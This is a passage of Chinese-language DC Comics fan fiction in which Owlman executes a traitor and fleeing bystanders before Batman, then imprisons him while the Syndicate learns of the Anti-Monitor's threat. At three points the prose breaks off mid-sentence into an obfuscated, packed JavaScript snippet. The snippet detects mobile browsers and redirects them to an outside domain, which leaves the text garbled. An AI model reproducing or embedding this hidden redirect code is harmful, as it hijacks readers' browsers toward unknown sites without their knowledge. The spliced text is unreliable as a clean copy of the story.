上帝不言语,猫头鹰就代祂执起死神的镰刀。 他情不自禁地放缓呼吸,肌肉绷紧,身体已在理智意识到之前摆出冲刺的姿势。他仍然想到了正义联盟,想到两个宇宙间复杂的、难以描述的差异,想到假如引发战争的后果和代价,理性仍在权衡,数种完备的计划在他脑海中依序排列,然而布鲁斯想——最重要的是,这件事本不该发生。 托马斯·韦恩不能以这种方式杀死另一个人。 因为他们都知道。 哪怕在所有人眼中这是无所谓,这是合理的,他们两人都清楚,“这件事本不该发生”。 当死亡的终幕以传播恐惧和娱乐化的方式赤裸地铺展在所有人眼前时,目标短暂地达成了,可是夜枭呢?他怎么同自己的另一部分和解? 他怎么同那个会紧张地、尝试与几乎没见过面的韦恩夫妇沟通的普通男孩和解? 他如何在墓碑前与那个他认识的布鲁斯·韦恩、与过去的自己交谈? 有那么一瞬间,蝙蝠侠确实从夜枭身上看见了自己的倒影。 原来隔在两人中央的不是舞台的帷幕,而是一面镜子。 冷静的观众终于忍无可忍地冲了上去。 摄影师们的斜后方忽然响起惊呼声,第一个人不耐烦地回头,骂骂咧咧地小声问:“怎么了?” “蝙、蝙蝠!” 他的同事结巴着回答。 “什么?” “看上面!是蝙蝠!” 一个又一个人忍不住抬起头,接连不断地发出叫喊,他们又吸引到封锁区内的人。夜枭扣下扳机的动作停在半空,他没有抬头,地上的身影被巨大的蝙蝠形状的影子笼罩住了。 ** 要我说,哥谭□□也免不了绝大多数影视书籍作品里面流传的邪道传统艺能:讲究仪式性。 我也不知道是先有的深红海角这个地名,还是先有的这个像是从《基督山伯爵》里面抠出来的审判过程。“三”是个传统数字,按理说如果有人能从悬崖上摔下去三次还不死,那就说明上帝判他不必死,然而哥谭没有上帝,只有猫头鹰法庭,我今天不想让叛徒活着,他就无论如何都要在地狱与天堂之间选一样。 但说实话,他还没死这件事有些出乎预料。 可能小丑带出的人都像他一样生命力顽强。我觉得有点难办,不过一个聪明还不老实的人活到今天已经够本了,我想与其把他变成白痴关进精神病院,倒不如一劳永逸,对他的人格也是种尊重。 所以我走过去,对着那张血肉模糊的脸,心平气和道:“希望你以后不要再做这种事。” 如果还有以后的话。 叛徒没法回答我。我伸出手,旁边的法医心领神会递了把女士手|枪过来,不愧是哥谭敬业打工人。 我将枪口瞄准他的额头,同时思绪已经飞到许许多多其他未处理的事情上。他身上流出的组织液在地上积攒出一摊血洼,蹭了我一身,不过我的嗅觉不是很灵敏,致幻剂到底造成了一定影响,让我时常恍惚觉得自己仍然停留在稻草人毒气塑造的那个小而破碎的宇宙当中。远方的摄像头卫星似的环绕在我们周围,又像天空中徘徊着的俯瞰着的巨大的眼睛,从今往后,人们评价我除了从哥谭与辛迪加上面寻找依据,又会多哪些新的举证? 算了,没必要想太多,解决完他我还得去查一查卢瑟。 我的指尖悬在扳机上时,被阳光晒得发烫的脊背上突然拂过一阵凉意。 我没忍住就用指尖在枪身上摩挲了一下,很想不管不顾地先把子弹打出去再说。 27. 第二十七章 哥谭人惯会审时度势,有好的方面,也有坏的方面。譬如此刻,蝙蝠侠落下来的瞬间,大部分人都开始控制不住往四面逃跑,他们却忘了自己正站在一个高达十数米、被我用来当做审判台的悬崖上,前面的观众控制不住地往后挤,后面的人也只能再往后撤,最后的人抵在平台边缘松垮的、还不及半人高的铁链围栏上,忍不住发出比我面前垂死之人的喘息还要惨烈的尖叫声。 恐惧的叫嚷、仇恨的辱骂、对此刻不知在注视何处的神明的祈祷,构成了我和蝙蝠侠身边的背景音。我没有收枪的打算,反而往前送了送,按捺住心中的烦躁,用平静的语气对他说:“你不应该来这,谁告诉你的?阿尔弗雷德还是理查德?” 蝙蝠侠直视着我:“你见到我的第一时间是怀疑你的亲人泄密。” 我不禁笑起来:“只是个合理推测。我以为你不打算管这件事,除非有什么外部力量动摇了你的想法。既然不是他们两个,那就是小丑或者卢瑟,但我想不通他们怎么能威胁到你。” 蝙蝠侠没有回答。 我终于又闻到血腥味了。 这几天我就像是个患了重感冒的人,不管是空气中繁杂的味道,还是特定的、我喜欢的食物的香气,亦或是身边堆积起来的尸体的腐臭味,都像隔着一层帷幕似的朦胧不清。但是就在刚才的一瞬间,我的感官忽然通畅起来,我感觉到疼痛,痛觉是从我嘴里传达到大脑,血腥气则顺着喉咙蔓延至气管。 我舔了下自己的嘴唇,是干裂的、有些刺痛的触感。 “你知道辛迪加的计划了。”我说,“这件事和正联无关,我们不会波及到平行宇宙。” “你不应该在这里杀了他。”蝙蝠侠则答非所问,“这对你没好处。” 话题竟然又绕到我自己头上了。我发现我没法对这句话作出反驳,他说得非常正确,杀人这件事无法解决任何问题,就像悬崖下波涛汹涌的海水,只向我们证明了世上存在着令人不安和永不消停的事物。 一阵剧烈的风从海平面的尽头吹来,将他垂在地面上的披风高高扬起,也吹来几片厚重的云、堵在我们头顶上。这是要下雨了。我感受到嗅觉灵敏的好处,我闻到了海风腥咸的气息,风里带着随骤雨而来的残酷味道,我们身后的人群已经开始推搡和争斗起来。 因为莫名其妙的理由开始以命相搏,这种事我见过不少次,这次的群殴还算有理有据,至少最后排的围观者确实差点因为前面的拥挤而掉下悬崖。在生死边缘走过的人拼命向他人宣泄怒火,以证明自己仍然活在世上,这份惶然又被传给下一个濒死的人…… 我漫无目的的思索了一会,打起精神对布鲁斯说:“可是不管你是为什么阻拦我,如果我不开枪,下场就和这群人一样。” 被我放过的人,最终会将面对死亡的恐惧回馈给我。 见证我软弱的人,会尝试把这份软弱永恒支配下去。 我身后的□□成员没有去参与,但也没有阻止。他们漠然站在舞台的另一端,无动于衷的眼睛里倒映出一群毫无理智的牲畜,只有看向我所在的位置时,才会流露出属于人类的紧张无措来。 布鲁斯呼吸沉重了些许,他摇摇头,仍旧没有开口,眼神里蕴藏着某种类似于悲哀的情绪。 我抬起手臂,朝天上开了一枪。 这声音近距离听见简直震耳欲聋,然而除了我脚下的叛徒不自觉地颤抖了一下,人们仅仅是往我这里看一眼,就又扭过头,开始继续刚才的活动。 “你知道这时要怎么做。”我低声笑了一下放下手臂,又习以为常地瞄准躺在我前方的人类。他倏然意识到最后的审判终于到来,疼痛和恐惧终于击垮这个已经开始迟钝与麻木的聪明人,他用尽最后力气、颤巍巍地抬起手臂,想要抓住蝙蝠侠的脚踝,用抖得不成样的声音说:“……救……救救我……” 竟然这时候还知道向谁求救才有用。 但是太迟了。 我在蝙蝠侠的注视中毫无动摇地扣下扳机。 “砰——” 红白相间的液体溅在蝙蝠侠漆黑的鞋尖上,我盯着它看了一会,认为他们显得十分不搭调。我以为布鲁斯会后退、或者冲上来阻止我,但他没有。叛徒最后就倒在我们两个之间,残破的、露出骨头的手臂还维持伸向前方的姿势,眼泪和涎水从他扭曲的五官中流淌出来,我不知道他现在有没有为自己做过的事情后悔。 我看着布鲁斯,布鲁斯看着死去的人,有那么一会我以为杀人的人是他而不是我。我知道他在难过,我本能地想要安慰他,可是在布鲁斯·韦恩这个名字之前——他永远是蝙蝠侠。 我身后的人群终于静寂了一瞬。 紧接着,求生的本能占据上风,忽然而至的滂沱大雨中,站在最前面的人开始尖叫逃跑。我这时又觉得灵敏的感官变成了一种负担,雨水并未影响我的听觉,我听见他们将最后一点声音挤出喉咙,在黑沉沉的天空与大海间形成宛若实质的声带。我从蝙蝠侠身上移开目光,对准跑在最前面的人,面无表情地又开了一枪。 ——瞄准速度很快,而且我说过我可以打的很准。 奋力奔跑的人毫无预兆地瘫软下去,像个沙袋似的在地上滚了两圈。后面的人反应速度相比我开枪的速度都算得上是迟缓了,我几乎可以说无聊地、又有些莫名疲惫地站在原地等了一会,他们跑动的趋势减缓,开始回过头、用羔羊般湿润的目光祈求地看向我。 我就知道一场即将开始的混乱已经被我平息下来。 等太阳升起,哥谭依旧会迎来平静的、充满秩序的一天。 ** “不管你是为什么阻拦我,如果我不开枪,下场就和这群人一样。” 夜枭说这句话时,布鲁斯快要把它当做是一句不动声色的恳求。他们在无数人的注视下进行着隐蔽的交锋,而小托马斯没有坚持太久,他只说道:我没办法。 你无法阻止我,因为我只有这一条路可以走。 夜枭是对的。 布鲁斯心想。 已经绝无可能活下去的人挣扎着向黑暗骑士伸出手,想要在临死前得到来自另一片宇宙的救赎。他什么都不知道,只是本能地寻求那根救命稻草,就像小托马斯·韦恩去往平行宇宙——所有人都在有声或无声的呼救。 夜枭开第一枪的时候,蝙蝠侠在考虑这些。他的大脑不知疲倦地运转着,与越来越轻缓的呼吸声背道而驰。夜枭开第二枪的时候,他因而反应慢了半拍,人群的反应就像电影中的慢动作,他迟钝地看着他们再一次被驯化,贪婪而充满野性的人类安分下来,被□□成员驱赶着带走。 小托马斯沉默地站在那,雨水顺着他的披风冲刷而下。过了一会,他将从别人那借来的手|枪扔到一旁,含糊地说了句什么。 雨太大了,布鲁斯没听清楚。他问道:“你说什么?” “没什么。” 夜枭回答。 “结束了,蝙蝠侠。这不是你的错。” “……” 布鲁斯在心中发出一句无意义的感慨。他摇头,仍然不知道说什么好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064598|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。他们就在铺天盖地的大雨中沿着哥谭市的海岸线徒步走了一会,狂风与海浪构成了这片世界的底色,而两个慢吞吞的、逆风行走的人,在巨大的画布前简直和静止不动没什么两样。 天快黑时,湿漉漉的蝙蝠和猫头鹰走到了新城北部,布鲁斯意识到他们已经穿越了小半个哥谭。河水对面已经能看到韦恩庄园矗立着的海岛,夜枭带着他在一张公路沿岸、供旅人歇脚的长椅上坐了下来,几只冒雨出来觅食的海鸟和他们在同一片荫蔽下避雨,隔着不远不近的距离。 这是个很偏僻的地方,大部分土地归私人所有,一整天下来都不一定有一辆车经过。 片刻,布鲁斯终于开口:“我记得这里有一栋别墅。韦恩家的别墅。” “是有。”夜枭回答,他声音很低,显得有些困倦,“就在翻越这片灌木丛往南的地方。” “旁边有一片苹果树林,另一侧是马场。” “没错……我小时候阿尔弗雷德偶尔会带我过来玩。” “我也是。我父母很少有时间,你知道,那种成块的、陪伴孩子的时间。我很喜欢这栋别墅,树林里有一个鼹鼠洞,可以放蚯蚓引他们出来。” “是吗?”夜枭侧头看他,迟疑道,“我不记得,可能只是忘记了。在什么地方?” “得去找找。”蝙蝠侠简短地邀请道,“你要来吗?” 小托马斯站起身,另一侧的海鸥受到惊吓、扇着翅膀飞远了。 他们于是像两个技术高明的盗贼、翻过围墙来到庄园内。上次夜枭还和超霸与超女王在这栋别墅中吃过披萨,不过几天无人光顾,院子里又显得凄冷起来。布鲁斯绕着房子转了两圈,不是很确定地在一个树墩前停了下来: “你觉得有可能是这吗?” “我毫无头绪。”夜枭回答,“如果你想挖土的话,最好提前告诉我,省着不小心撞见尸体。” “……” 布鲁斯不知道这是不是一句玩笑话。 他的兄弟看上去没有开玩笑的心情,但是谁知道呢? 为避免惊扰亡魂,小托马斯抓了一只蚯蚓,然后他们傻乎乎地站在附近等了十几分钟,仍然没有鼹鼠光顾的动静。最终夜枭叹了口气,遗憾道:“可能它已经搬走了。” “你是对的。要回韦恩庄园吗?” “不,就呆在这吧,如果你不介意这两天卧室没人收拾。” “我不介意。” 他们于是走进别墅里。 灯光还是忽明忽暗的,管家并没有余裕找人过来换灯泡。 夜枭走到沙发边坐下,将头盔摘下来放到一旁。周围挂着韦恩家成员的画像,他半眯起眼睛看了一会,对布鲁斯说道:“我不喜欢这。” 蝙蝠侠沉默下来,也跟着换下沾水的制服,没有说出口的是:我很喜欢这里。 “我的父母在这干了太多恶心人的事。争吵……诈骗……谋杀……” 夜色已深,困意逐渐涌上来,灯光笼罩下的男人说话语速越来越慢。 我的家庭在这里度过了一段幸福的时光。 蝙蝠侠心想。 我的父母在这里相知、相爱、许下承诺、兑现承诺,最后将生命归还于他们热爱的城市。 他在小托马斯对面坐了下来,两个人的侧影看上去如出一辙。 “但那是我们的宇宙。”夜枭说,“所以我带你来这。” 他衣服还没换、就这么倚着沙发背闭上眼睛,在暴风雨的包围中寻找到栖息地之所,陷入了短暂的酣梦当中。 28. 世界末日的讯息 我睡醒的时候大约是凌晨三点钟。 客厅里挂钟的秒针踱过罗马数字12时,我猛然从黑暗中惊醒,看到月光笼罩下的古老建筑。蝙蝠侠站在与客厅相连的长廊里,正在与什么人对话。我能听见声音断断续续地从那个方向传来,不过听不清具体内容。 这种感觉有点诡异。 从来没有人能在我的房子里不经允许地自由活动,八岁以后我也从来没有在认识不到一个月的陌生人面前睡着过。 我从沙发上坐起来,慢慢想起昨天白天都发生了什么事——小丑把我的叛徒送回来了,我在蝙蝠侠面前行刑。然后呢?我们冒着雨,听上去很有情调地跨越了半个哥谭。其实我被雨浇得像一条落水狗,最后还是翻墙翻进自己家里面的。 我觉得在蝙蝠侠面前杀人还是一件过于刺激的事情。 把子弹打出去的那一刻,仿佛脑浆都在跟着一起沸腾。我想不通这是为什么,反正在那阵短暂而激烈的快|感过后,就好像完成了一项伟大的事业,或者在与什么东西彻底告别,又或者我用这一枪对不知名的东西施以残酷的报复。总而言之,事后我心中的疲惫比绕着哥谭跑三圈连着解决12个反转宇宙特色超英还深重。 人一累就容易产生奇怪的情绪,所以我带着布鲁斯来到这个糟心地方,试图使他放松精神、想起一些美好的回忆。 …… 绝了,睡觉前我的脑子肯定有点问题。我在心中重新梳理了一下事情的前因后果,小丑、卢瑟、辛迪加、我的量子本态炸弹和蝙蝠侠,这几方人包括蝙蝠侠在内,实际上没有任何一者可以明确说是站在我这边。 也就是说,我在事态不明的情况下带着一个从现实宇宙穿越过来的义警进了只有辛迪加成员和阿尔弗雷德他们才来过的海边别墅,又在镇压完哥谭暴动之后人间蒸发超过六个小时。就算现在我的敌人包围了这栋房子只等着我睁开眼睛就开火,我也不会觉得奇怪。 放松感和隐约的尴尬消失了,清醒之后,焦虑与危机感重新涌了上来。 蝙蝠侠在给谁打电话? 我联系阿尔弗雷德,并输入密码解锁了沙发后面橱柜的隐藏抽屉,从里面拿出一把枪填满子弹藏在腰间,将睡前摘下的猫头鹰面具重新戴了回去,而后轻轻向着有光的方向移动。 而就在我背靠在墙面上,想听清楚对话内容时,蝙蝠侠的声音停了下来。 他开始向我这个方向走。 我握着武器但没有抽出来,沉默地站在原地。 跨过雕花门洞时,我屏住呼吸,看着他往前走了大约两米远,露出毫无防备的后背。紧接着他注意到月光下的沙发上空无一人,于是骤然回过头说道: “你醒了。” 我脑子里转着各种各样的念头,从阴影中迈出来:“主宇宙的电话?” “……只是例行联络,正义联盟需要确保我在这里平安无事。”蝙蝠侠自然而然地说。 “我睡着的时候有没有人来过?” “没有。” 这是真话吗?假设小丑和卢瑟真的联手了,他们会放过这么好的机会? 我评估了几秒钟,听见蝙蝠侠反过来问:“天亮之后你还有什么安排?” “哥谭的私事解决了,我要去一趟辛迪加总部。” 蝙蝠侠反应很快:“你们准备开始对各国政府动手,威胁他们交出政权?” 这也太直白了,这种话光明正大地讲出来不太合适吧。虽然咱们现在在反转宇宙里,而普通人的统治早就名存实亡了。 我摇摇头,转移话题道:“你最好尽快回去。过两天……” 一道亮眼到刺目的光忽然从未有遮挡的别墅窗户照了进来,我话还没说完,闭上嘴毫不犹豫地俯身向前冲刺、接着一个翻滚躲到沙发前面。 俗话说该来的总会来,我心中反而安定下来,余光瞥见蝙蝠侠动作和我差不多,我们俩一人靠着一台沙发,有点像动物世界里碰见天敌立马放出保护色的鸟。 照进房间的白光实在太亮,比这老房子自带的照明设施好多了。我借着光线冲蝙蝠侠打手势:你猜来的是辛迪加还是小丑? 或者其实他们是一码事。 结果事实并不在我预料之中。 晃瞎人眼的光线来自于一把主体漆黑的高背椅。它上面有着复杂的纹路和标志,白光就是从这些纹路间发射出来的。椅子上坐着的是个身穿黑色紧身衣的陌生人,他就那么操纵着这把可以飞行的坐骑停在别墅窗外,声音不大不小,刚好能被我们听到: “我是密特隆,你们也可以叫我观察者。夜枭……以及来自主宇宙的蝙蝠侠,不论你们是否相信,一场足以毁灭整个宇宙的浩劫即将在此处降临。” 我微微一怔,暂时没有理解他说的话是什么意思。对生活在地球上面对鸡毛蒜皮柴米油盐的普通人来说,世界末日是一件太过遥远的事情。我顶多想象过我用核弹炸掉地球,或者超霸突然有一天想不开、开始屠杀人类,但是毁灭整个宇宙的灾难……? 然而我又不是很惊讶。 这毕竟是个美漫世界,我的顶头上司还是个刀枪不入的氪星人。 我可能昨天杀了个小混混,今天就要去考量宇宙存亡级别的危机。这么一想还有点好笑——缺乏力量的人在殚精竭虑地挣扎着往上爬。背叛我的手下是这样,哥谭的超级英雄们是这样,我也是这样。我们得过且过、醉生梦死,也不管明天如何过,最后一头扎进把人骨头烧化的火堆里。 至少火焰燎到我的披风之前,还有人能过来通知一声。 自称是密特隆的人语气波澜不惊,我听得也有些心不在焉。他可能是见我和蝙蝠侠毫无反应,又补充说:“辛迪加的其他成员就在外面,我刚和超霸等人讲过这件事,并把他们拦了下来。不过现在看来,或许你们聚在一起商量一下比较好?” 我问他:“是谁?” 那个敢于在我之前点燃一切的人是谁? 密特隆听懂了,回答道:“反监视者。他已经吞噬了无数个宇宙,地球-3是他的下个目标。我无法阻止他,恐怕你们也不能。” “然而……” 他的头转向我,眼睛部位白花花一片、没有虹膜和瞳孔:“我观察不到你的起源和过去,夜枭。你和其他人不一样,破局点说不定在你身上,所以我才单独过来见你。” 那你怕是多想了。 我干巴巴道:“我毫无头绪。” 密特隆点点头,并不失望:“不管怎么说,反监视者过段时间才会动身,你们还有机会慢慢做决定。未来几天我会去找他谈一谈,争取说服他改变目标……但是希望不大。” 他又看了我一眼,操纵着椅子转过身无声地离开了。 我和蝙蝠侠面面相觑。 外面传来强尼快客越过别墅警戒线时引发的警报声。辛迪加知道地球-3要毁灭在反监视者手上,他们还知道我手里有不借助任何工具去到平行宇宙的方法。 莫比乌斯椅带来的光消失的瞬间,黑暗重新笼罩了哥谭。下一刻,我和蝙蝠侠默契地同时出手——向着对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064599|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方。 拳脚|交错发出沉闷的声响,我们都没有留手,甚至为了赶在辛迪加到来之前决出胜负而加重力道,我觉得这或许是对昨天审判到现在所欠缺的发泄的一种弥补。几息过后空气里飘散开血腥气,除了喘息之外仍然没有多余的声音。 外面超霸砸开大门,强尼快客在他的催促下冲了进来。他没有夜视能力,所以走进客厅之后先是寻找开关。几秒钟后房间亮了起来,灯光闪烁不定,强尼快客骂了一声:“你就不能差人换个灯泡吗夜枭?老子的眼睛都快瞎了。” 我扭头‘呸’了两下咳出带血的唾沫,用力按住蝙蝠侠的脑袋把他砸向地面,然后抬起仅剩的一只完好的手臂抹了一把鼻子里淌出来的血,站起身看着陆续出现在门前的辛迪加成员,面无表情道:“早上好,诸位。” 超霸抱着手臂站在门洞正中间。他右边是超女王,对着我轻轻柔柔又含着点亲昵的恶意似的笑了笑。强尼快客、原子女和死亡风暴挤在靠墙的位置,神力戒瑟缩在他们身后。 人都到齐了,除了刚加入的卢瑟。 卡尔问我:“你胳膊怎么了?” “脱臼了。”我抬脚迈过蝙蝠侠的身体,随手把小臂推上去再活动两下,“看来你们也听说了反监视者的消息?” 超女王是第一次见到蝙蝠侠。她居高临下地打量着陷入昏迷的平行宇宙义警,意味深长道:“没错,但我们的反应显然没有你快。看来你已经有计划了是吗?托马斯。” “逃到平行宇宙是下下策,那地方氪石数量有限。”我冷淡道,“不过确实有必要安排好后路。” 超霸扭过头,神力戒在他的注视下不情不愿地走过来,想要用灯戒把成为俘虏的布鲁斯架到空中。他的灯戒跟机关枪一样骂骂咧咧没完没了,我耐心告罄,抽出一直别在腰间没动的柯尔特左轮、擦着神力戒的脑袋接连开了两枪。 神力戒发出一声杀猪般的惨嚎,居然被吓得一屁股坐在地上。他灯戒的礼貌吟唱被打断了一秒钟,一秒钟后又卷土重来,只是换了个对象,开始一边问候我并不存在的亲人一边怂恿神力戒直接把我干掉。 但凡神力戒有这个胆子,他都不会像现在这样沦为权戒的奴隶。 我们的团队十分缺乏互助友爱精神,我当众恐吓神力戒,其他人居然都一点反应没有,强尼快客还在大声嘲笑他。神力戒看上去一时半会缓不过来,超霸终于说道:“你要干什么,夜枭?” “他是我的猎物,你们没有资格动他。”我与他们对视说道。 阿尔弗雷德赶到,从超霸和超女王中间插进来,在我的示意下搀扶起失去意识的布鲁斯向外走去。 “量子本态炸弹的密码也在你手上。”露易丝说,“这可不太公平,亲爱的。” “我们什么时候讲过公平?”我跟在阿尔弗雷德身后,“辛迪加会议,叫上莱克斯。我们必须想办法解决掉反监视者,要么就带着我的炸弹——去问问主宇宙肯不肯收留一群无家可归的倒霉蛋。” 随着我的动作,辛迪加成员纷纷转身。显然在我开口之后他们所有人都松了口气,从世界末日带来的紧张感中放松下来。 还有句俗话说的是,天塌下来有高的人顶着。 多年习惯,我就是那个负责顶事的人,并且有理由怀疑辛迪加是矮子里拔高个,若是真迫不得已去往主宇宙,开场就会被正义联盟爆杀。 本来看在蝙蝠侠的面子上,我说不定能蒙混过关。 现在同样是看在蝙蝠侠的面子上,我大概会成为正联的首杀对象。 29. 一个大胆的想法 什么叫风水轮流转啊。 在主宇宙的时候我是蝙蝠侠的阶下囚,在地球-3中他就成了我的俘虏。我把他关在辛迪加总部的一件囚室里,因为超霸坚持这个‘看上去和夜枭有八成像的家伙’必须待在所有人的眼皮子底下。 死亡风暴管这个叫猫头鹰PTSD,建议卡尔尽早找人治疗。 卡尔:“放屁。” 我们开了个会,会议中心思想是如何解决世界末日。前面说过我们宇宙的时间线照其他宇宙、特别是主宇宙要落后一截,除了我之外,所有辛迪加成员都不太关心平行宇宙,更不要提传闻中已经毁灭了众多世界的反监视者了。 ——问就是听都没听说过。 超霸离开地球,给我们带回来一摞可能会用得到的资料。里面内容很概括,大致是说反监视者是个很牛逼的大人物,他手里有反生命方程式,连达克赛德都忌惮无比。 昨天来找我们报信的人的叫密特隆,代号是观察者。他座下的椅子叫莫比乌斯之椅,相当于一台储存着真理的智能资料库,能够回答坐在椅子上的主人的一切问题。 也就是说密特隆说我们地球-3要毁灭了,是真的。 还有,反监视者我们加起来都打不过。 第二条结论是我说的。超女王沉默不语,我发觉她总往卢瑟的方向看。神力戒胆子小,支持不战而逃。超霸嗤之以鼻。其他人没有发表任何意见。 我就说卡尔早晚有一天败在他的傲慢上,我们宇宙的氪石取之不尽用之不竭没错,这并不意味着他是不可战胜的。 第一场会议照例没讨论出来什么结果。 结束后我带着理查德去拜访布鲁斯,他被关在一个大约只有五平米大的独立牢房里。我拿走了他的腰带,以此说服其他人别去管他的面具底下长什么样。 卡尔刚开始并不同意。 我把蝙蝠侠放进牢里时,他在玻璃门外面问我:“他不会是平行宇宙中的你吧?” “怎么可能。蝙蝠在猫头鹰的食谱上。” “他什么时候跑过来的?” “前两天哥谭出了点乱子。” “我知道,领头的人被你杀了,趁火打劫的人也被你杀了。”门口的外星人餍足地眯起蓝眼睛,仿佛在想象那种画面,“恭喜你再一次拥有哥谭。” “容我提醒你,我从来没有失去过她,也将‘永恒地’拥有她。”我走出门,看着超霸通过虹膜识别,将牢房彻底锁死,“蝙蝠就是在这前后出现的。” “目的呢?” “我不知道。” 超霸重复道:“你不知道?” “很重要吗?没必要管这些,反正他已经在我们手上了。” 卡尔的目光跟随着我转动:“我以为你热衷于寻根究底,托马斯。就像你前两天崩掉的那个叛徒,换成是我他早就死了。然而你愿意留着他的命,直到你弄明白他为什么要背叛你。” “反监视者打消了我的好奇心,卡尔——我现在只想对活下去的办法寻根究底。” “审讯用不了多长时间,你可以交给我。” 他故意想激怒我。只是我最擅长控制两种情绪,一是恐惧,二是愤怒。 我和它们奋斗多年。 “你只会把人弄死。”我平静地强调道,“别动他,如果我们真的走投无路,他能帮助我们在平行宇宙立足,这包括,”我手里拿着蝙蝠腰带,说话间打开其中一个暗格,将里面的氪石弹到超霸怀里,“替你找到些藏得很深的零嘴。” 卡尔凶狠地瞪着手里那指甲盖大小的氪石。 我看着他又问:“我听说你前段时间养了条狗?” 虽然一直在忙哥谭的事,我也时不时关注我的同事们,比如我知道超霸从宇宙中捡到一条氪星犬。再比如,我知道超女王在打卢瑟的主意。 “是啊。” “感觉怎么样?” 卡尔莫名其妙地看了我一眼:“目前为止挺不错的,我喜欢养‘狗’。” 我点点头,波澜不惊道:“不错。” 对话到这就结束了。 我本来想在蝙蝠侠醒过来之后立刻就来见他,而不是拖到会议之后。 结果超霸和我谈完,卢瑟也来了。 实不相瞒我觉得光头更适合他。自从在主宇宙看过照片之后,我就对他亮的反光的脑门念念不忘,以至于现在看到他垂到脸颊两侧的棕发总觉得哪里不对。 “夜枭。”卢瑟冲我点头示意,“你接下来有没有什么要紧事?” 有,我想去找蝙蝠侠,而不是在这里和你废话。 话虽如此,我说出口的是:“没有。我在等超霸从宇宙里回来,然后召集我们所有人开会。” 卢瑟自然而然地在我对面坐下来:“他在做无用功,夜枭,你知道反监视者是不可战胜的。我不指望氪星人,我只能来找你。” 我忍不住笑了:“在你和小丑联系完之后?你了解我的底线,莱克斯。任何人,都不应该越过我插手哥谭。” 其实我还没有证据,但辛迪加不讲公平也不讲证据。 “我的错。”卢瑟干脆利落地承认了,“然而计划赶不上变化,现在反监视者才是第一位,我希望你能放下过去的恩怨,再与我合作一次。超霸觉得我们可以等到敌人到来再说,而我们,你和我则习惯未雨绸缪。” 他提议双管齐下,一边听从卡尔的安排备战反监视者,一边做好进攻平行宇宙的准备。 我答应了,反正口头承诺没坏处。和卢瑟谈完就是辛迪加会议,开完会我终于有时间处理我自己的问题。 我先把理查德叫过来,带他去蝙蝠侠的牢房,小孩老老实实跟在我身后什么都没问。 布鲁斯已经醒了,他坐在单间内小小的单人床上抬起头来看我,下颚上还带着血污。 我在他身前站定,沉默了一会。 让我想想该怎么说。 ** 蝙蝠侠隔着玻璃和理查德对视,夜枭看着他们两个。 片刻后,猫头鹰开口:“如果……” 他又停住了,头盔遮挡住了他的表情,踌躇不定的情绪仍然从行为中泄露出几分。 过了几秒钟,他说:“理查德,离开这。” “什么?”黑发蓝眼的男孩困惑地扭头,“你才把我叫过来。” “是,现在我有事要谈,你自己找个地方待一会,不要离开辛迪加总部。” “有什么是我不能听的?你和他要谈的内容和我有关系吗?” “无关。离开这,理查德。” 布鲁斯看到熟悉又陌生的年轻人愤怒地锤了下墙壁,为年长者这份光明正大不做掩饰的敷衍。但他始终对托马斯怀有一分惧意——这是夜翼对蝙蝠侠所稀缺的——所以到底还是转身走远了。 他走之后,夜枭还是没有立刻开口。 布鲁斯不由得开始猜测他的目的。想想最近发生了什么?密特隆,反监视者,世界末日,量子本态炸弹……蝙蝠侠忽然觉得脊背一凉,如同有冰水顺着脑袋上还未愈合的伤口流淌下来。他想到某个关键点,试探着问道:“你过来找我是为了……刚才那个孩子?” 夜枭踱了两步,答非所问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064600|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你养的罗宾杀过人吗?” 他很快意识到疏漏,又自己回答自己:“没有。” “那么你介意身边人杀过人吗?” 布鲁斯沉沉望着他:“罗宾杀过人。他受到过一些错误的教育。” 夜枭皱起眉,再缓缓松开:“你纠正他?” “我让他学会纠正自己。” “你介意多一个教导对象么?” “为什么?”蝙蝠侠略显急促地问,这让他的态度看上去有些咄咄逼人,“我现在还被你们关着。” “你会出来的。然后回去你的世界。” “在末日到来之前?” “在末日到来之前。” “你不能——”蝙蝠侠也停住了,他发现将这件事赤|裸|裸地说出来的确很困难,难怪托马斯数次欲言又止。现在他只能罗列线索,而不是直接说出自己的猜测,“你手里有量子本态炸弹的密码。” “反监视者要来了,而你们无法战胜他。” “辛迪加里必然会分成两派,战或者逃。无论如何,主宇宙是你们唯一的后路。” “你让我带着理查德·格雷森回去‘我的世界’。” “所以你打算怎么处理‘你的世界’?” 布鲁斯本以为夜枭的计划顶多是同他做场戏应付过去辛迪加,再想办法寻找生路,哪怕是求助于正义联盟或者随便什么对象。 但小托马斯·韦恩比他预想中的,更……不报希望。 就像他在深红海角的悬崖上,对天空扣下扳机射出徒劳的一枪。 然后看着布鲁斯,瞄准脚下的将死之人。 